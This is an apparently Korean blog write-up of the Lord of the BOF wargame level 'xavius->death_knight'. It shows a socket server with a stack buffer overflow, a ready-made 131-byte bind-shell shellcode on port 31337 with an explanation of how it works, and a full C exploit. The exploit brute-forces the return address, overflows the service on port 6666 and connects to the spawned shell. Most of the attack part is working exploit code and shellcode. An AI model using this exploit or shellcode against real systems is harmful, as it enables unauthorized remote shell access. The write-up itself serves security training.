LOB_20.xavius->death_knight

해킹/LOB 2016. 2. 6. 18:21

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h>
#include <sys types.h> 
#include <netinet in.h>
#include <sys socket.h>
#include <sys wait.h>
#include <dumpcode.h>

main()
{
	char buffer[40];

	int server_fd, client_fd;  
	struct sockaddr_in server_addr;   
	struct sockaddr_in client_addr; 
	int sin_size;

	if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
		perror("socket");
		exit(1);
	}

	server_addr.sin_family = AF_INET;        
	server_addr.sin_port = htons(6666);   
	server_addr.sin_addr.s_addr = INADDR_ANY; 
	bzero(&(server_addr.sin_zero), 8);   

	if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
		perror("bind");
		exit(1);
	}

	if(listen(server_fd, 10) == -1){
		perror("listen");
		exit(1);
	}
        
	while(1) {  
		sin_size = sizeof(struct sockaddr_in);
		if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
			perror("accept");
			continue;
		}
            
		if (!fork()){ 
			send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
			send(client_fd, "You : ", 6, 0);
			recv(client_fd, buffer, 256, 0);
			close(client_fd);
			break;
		}
            
		close(client_fd);  
		while(waitpid(-1,NULL,WNOHANG) > 0);
	}
	close(server_fd);
}
---------
이제 소켓으로 입력값을 받고있다.
6666번 포트를 열어서 듣고있다가 입력값을 256바이트만큼 받는 프로그램이다.
하지만 buffer라는 변수의 크기는 40바이트밖에 안되니 bof 공격이 가능하다.


실행해보았으나 bind 오류가 났다.

VM이 켜지면 자동으로 실행되는듯 하다.

이미 켜져있으므로 이 6666번 포트로 공격을 시도하면 되겠다.


먼저 리모트 환경에서 쉘을 띄우기 위해서는 바인드쉘코드나 리버스쉘코드가 필요한데 나는 31337번포트를 사용하는 바인드쉘코드를 사용했다.

바인드쉘은 공격당하는 서버의 다른 포트를 열어 쉘을 띄우는 것이고 리버스쉘은 공격자의 열려있는 포트로 서버가 접속하도록 하는 것이다.


131byte bindshell code, bind port:31337

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"

이 바인드쉘코드는 구글 검색으로 얻은 쉘코드고 직접 짜는것은 공부를 한 후 다시 포스팅하도록 해야겠다.


이 코드의 원형을 살펴보면

sock = socket(AF_INET, SOCK_STREAM, 0)

bind(sock, (struct sockaddr *)&&host_addr, sizeof(struct sockaddr))//31337번 포트로

listen(sock, 4)

c_sock=accept(sock, NULL, 0)

dup2(c_sock, 0)

dup2(c_sock, 1)

dup2(c_sock, 2)

execve("/bin/sh" ~~~~)

이렇게 된다고 한다.

해석해보면 31337번 포트를 새로 연 뒤 연결 요청이 오면 소켓의 fd를 0, 1, 2로 복사해주고 execve로 쉘을 실행시키는 내용이다.

dup2를 통해 소켓이 stdin, stdout, stderr로 복사되었으니 send하는 내용이 /bin/sh에 stdin으로 들어가고 그 출력이 stdout으로 나와 recv 되는 것이다.



이제 이 쉘코드를 bof를 통해서 실행시켜줄 프로그램을 짜야한다. 파이썬으로 하고싶었으나... 또 익숙한것을 찾느라 c로 작성했다.


#include <stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<arpa/inet.h>

#define BUFSIZE 256
#define RET_LOC 44
#define NOP_COUNT 52
#define TARGET_PORT 6666
#define TARGET_IP "127.0.0.1"
#define BIND_PORT 31337

char bindshell[] =
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
//131byte bind shellcode

int main(int argc, const char* argv[]){
	int sock;
	unsigned int ret=0xc0000000;
	char buffer[BUFSIZE];
	char cmd[100];
	struct sockaddr_in sock_addr;
	
	sprintf(cmd, "%s %s %d", "telnet", "localhost", BIND_PORT);

	
	while(1){
		memset(&sock_addr, 0, sizeof(sock_addr));
		sock_addr.sin_family=AF_INET;
      		sock_addr.sin_port=htons(TARGET_PORT);
     		sock_addr.sin_addr.s_addr=inet_addr(TARGET_IP);
	        sock=socket(PF_INET, SOCK_STREAM, 0);
		if(sock==-1){
			printf("sock error\n");
			return -1;
		}
	        if(connect(sock, (struct sockaddr*)&sock_addr, sizeof(sock_addr)) == -1){
			printf("connect error\n");
			close(sock);
			continue;
		}

		ret -= NOP_COUNT;
		printf("ret: 0x%x\n", ret);
		memset(buffer, '\x90', sizeof(buffer));
		memcpy(buffer+RET_LOC, &ret, 4);
		memcpy(buffer+100, bindshell, strlen(bindshell));
		
		send(sock, buffer, strlen(buffer), 0);
		
		system(cmd);
                sleep(1);
		close(sock);

	}
return 0;
}

작성한 코드는 이러하다.

ret주소를 0xc0000000부터 52씩 줄여가면서 바인드쉘코드 부분이 실행되도록 시도하고 telnet으로 바인딩된 33137포트에 접속을 시도하는 내용이다.

리턴주소를 1바이트가 아닌 52바이트씩 줄이는 이유는 리턴주소에서 쉘코드 부분까지 100-48=52개의 nop이 들어가기 때문인데 이중 아무곳에나 리턴주소가 떨어지면 되므로 반복을 줄이기 위해서 52바이트씩 줄여나가는 것이다.

xavius 권한으로 다른포트를 사용하는 똑같은 프로그램을 만든 뒤 gdb를 사용해서 attatch 하면 저렇게 ret주소를 줄이면서 반복적으로 할 필요가 없지만 어차피 프로그램을 짜야한다면 이 방법이 훨씬 빠르고 원본파일과 똑같은 복사본을 얻을수 있는것도 특이한 상황이기에 그냥 ret 주소를 브루트포싱을 이용해서 때려맞추도록 코딩했다.

sleep(1)은 같은 코드로 자꾸 되다 안되다 해서 혹시 반복문이 돌면서 뭔가 어긋나나 해서 넣어보니 비교적 안정적으로 돌아가는듯 하다.

하다보면 같은 코드로 자꾸 되다 안되다 하고 death_knight 프로그램이 두개씩 켜져있고 하는데 원인을 잘 모르겠다... LOB 서버를 재부팅하고 다시 시도해보면 또 되고 한다. 안정적으로 만들 방법이 필요하긴 한듯...




아무튼 공격이 제대로 작동할때는 이런식으로 death_knight의 쉘을 사용할 수 있다.

끝-



'해킹 > LOB' 카테고리의 다른 글

LOB_19.nightmare->xavius  (0) 2016.02.03
LOB_18.succubus->nightmare  (0) 2016.02.03
LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
Tags
Social